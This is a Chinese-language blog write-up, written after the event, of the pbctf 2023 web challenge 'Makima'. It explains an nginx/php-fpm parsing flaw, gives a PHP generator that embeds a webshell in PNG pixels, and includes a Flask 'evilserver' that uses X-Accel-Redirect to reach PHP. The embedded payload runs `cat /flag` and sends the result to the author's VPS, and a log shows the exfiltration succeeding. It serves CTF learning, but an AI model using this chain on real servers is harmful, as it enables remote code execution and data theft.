L1aoのblog

无聊的世界因为我又添了一顿累赘

0%

pbctf 2023

pbctf 2023

Makima

Makima simps check in here: http://makima.chal.perfect.blue/

比赛的时候的思考

简单看了下代码,一个nginx php主服务,python做cdn

逻辑是:

php接受url fpm怎么打

url发送给cdn

cdn发送网络请求 r = requests.get(url, stream=True)

获取图像返回给php 设置返回头除了:Date,Server??可以设置返回头可以干什么

php保存 最近爆了个 ImageMagick 漏洞 试了一下不能直接打

赛后复现

参考这位师傅的wp:https://github.com/Arc-blroth/ctf-writeups/blob/master/2023/pb/makima.md

nginx + php-fpm 导致解析漏洞

nginx配置文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
server {
listen 8080 default_server; # 监听端口为8080,作为默认服务
listen [::]:8080 default_server; # 监听IPv6地址的端口为8080
root /var/www/html; # 网站根目录为/var/www/html
server_name _; # 服务器名为任意字符

location / { # 匹配所有请求路径为 /
index index.php; # 默认首页为index.php
}

location ~ \.php$ { # 匹配所有以.php结尾的请求
internal; # 只能由内部请求访问
include fastcgi_params; # 引入FastCGI参数
fastcgi_intercept_errors on; # FastCGI出错时不返回给客户端
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; # 设置FastCGI参数SCRIPT_FILENAME
fastcgi_pass unix:/run/php/php7.4-fpm.sock; # PHP-FPM监听的socket地址
}

location /cdn/ { # 匹配请求路径为 /cdn/
allow 127.0.0.1/32; # 允许127.0.0.1/32的IP地址访问
deny all; # 其他IP地址禁止访问
proxy_pass http://cdn; # 反向代理到 http://cdn
}
}

internal;: 声明这个 location 只能在内部使用,不能被外部直接访问。

www.conf

在 PHP-FPM 中,www.conf 是默认的 FPM 池配置文件,用于控制 PHP-FPM 进程池的行为。去掉注释后的配置如下

1
2
3
4
5
6
7
8
9
10
11
12
[www]                      # 进程池名称
user = www-data # PHP-FPM 进程所属的用户
group = www-data # PHP-FPM 进程所属的用户组
listen = /run/php/php7.4-fpm.sock # PHP-FPM 进程监听的 Unix 套接字文件路径
listen.owner = www-data # 监听套接字文件的所有者
listen.group = www-data # 监听套接字文件的所有者组
pm = dynamic # PHP-FPM 进程管理模式,动态模式
pm.max_children = 5 # 进程池最多可以创建的工作进程数
pm.start_servers = 2 # PHP-FPM 启动时创建的工作进程数
pm.min_spare_servers = 1 # 进程池中保持最少空闲工作进程数
pm.max_spare_servers = 3 # 进程池中保持最多空闲工作进程数
security.limit_extensions = # 安全限制,只允许执行具有特定扩展名的 PHP 脚本

security.limit_extensions 是一个 PHP-FPM 的安全限制,它可以限制 PHP-FPM 执行脚本的扩展名。设置该选项可以帮助防止恶意脚本和攻击,因为一些恶意脚本会使用伪造的扩展名来绕过服务器的安全机制,执行恶意代码。

https://nealpoole.com/blog/2011/04/setting-up-php-fastcgi-and-nginx-dont-trust-the-tutorials-check-your-configuration/

由于nginx的设置和php-fpm的默认配置导致的解析漏洞使得:上传一个1.jpg文件 然后访问1.jpg/1.php 1.jpg会被当做php文件执行

构建恶意图片

https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
$_payload = '<?=file_get_contents("http://my_vps:8083/image.png?res=".`cat /flag`)?>';
$output = 'rce.png';

while (strlen($_payload) % 3 != 0) { $_payload.=" "; }

$_pay_len=strlen($_payload);
if ($_pay_len > 256*3){
echo "FATAL: The payload is too long. Exiting...";
exit();
}
if($_pay_len %3 != 0){
echo "FATAL: The payload isn't divisible by 3. Exiting...";
exit();
}

$width=$_pay_len/3;
$height=20;
$im = imagecreate($width, $height);

$_hex=unpack('H*',$_payload);
$_chunks=str_split($_hex[1], 6);

for($i=0; $i < count($_chunks); $i++){
$_color_chunks=str_split($_chunks[$i], 2);
$color=imagecolorallocate($im, hexdec($_color_chunks[0]), hexdec($_color_chunks[1]),hexdec($_color_chunks[2]));
imagesetpixel($im,$i,1,$color);
}

imagepng($im,$output);
?>

这样就能使得被服务端处理后的图片中仍然有构建的php代码

nginx internal 的访问

这里的内部访问是nginx发起的请求,详细参考nginx文档

https://nginx.org/en/docs/http/ngx_http_core_module.html#internal

无法控制nginx的配置文件,关注到里面的 requests redirected by the “X-Accel-Redirect” response header field from an upstream server;

But after reading a bit more of the (surprisingly little documentation) on X-Accel-Redirect, I discovered that NGINX treats *_pass servers as upstream servers for the purpose of X-Accel-Redirect.

在cdn中我们可以控制任意响应头

1
2
3
4
5
6
7
8
9
10
11
12
13
@app.route("/cdn/<path:url>")
def cdn(url):
mimes = ["image/png", "image/jpeg", "image/gif", "image/webp"]
r = requests.get(url, stream=True)
if r.headers["Content-Type"] not in mimes:
print("BAD MIME")
return "????", 400
img_resp = make_response(r.raw.read(), 200)
for header in r.headers:
if header == "Date" or header == "Server":
continue
img_resp.headers[header] = r.headers[header] # 可以设置任意响应头
return img_resp

现在我们构建一个evilserver

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/usr/bin/python3
from flask import Flask, send_file, make_response

app = Flask(__name__)

@app.route("/image.png")
def fakeserver():
response = make_response(send_file("rce.png",mimetype='image/png')) # rce.png为生成用于绕过image转化的png
response.headers['Content-Type'] = 'image/png'
return response

@app.route("/image2.png")
def rceserver():
response = make_response()
response.headers['Content-Type'] = 'image/png'
response.headers['X-Accel-Redirect'] = '/uploads/be82c42dac96a.png/1.php'
return response

if __name__ == "__main__":
app.run(debug=True, host="0.0.0.0" ,port=8083)

然后先上传图片:url=http://my_vps:8083/image.png

修改 /image2.png路由中的 response.headers[‘X-Accel-Redirect’] 对应部分为上传图片路径

再RCE:url=http://my_vps:8083/image2.png

1
2
3
4
5
6
7
34.67.131.140 - - [21/Feb/2023 23:03:08] "GET /image.png HTTP/1.1" 200 -
* Detected change in '/home/ubuntu/ctf/pbctf/fakeserver/app.py', reloading
* Restarting with stat
* Debugger is active!
* Debugger PIN: 914-115-437
34.67.131.140 - - [21/Feb/2023 23:03:25] "GET /image2.png HTTP/1.1" 200 -
34.67.131.140 - - [21/Feb/2023 23:03:26] "GET /image.png?res=pbctf{actually_power_is_the_better_character} HTTP/1.0" 200 -

总结

发现解析漏洞 -> 上传一个图片马 -> 通过cdn internal访问 -> RCE

The Mindful Zone

最新版的 zoneminder 0day

apache 2.4.29 解析漏洞

git-ls-api

ruby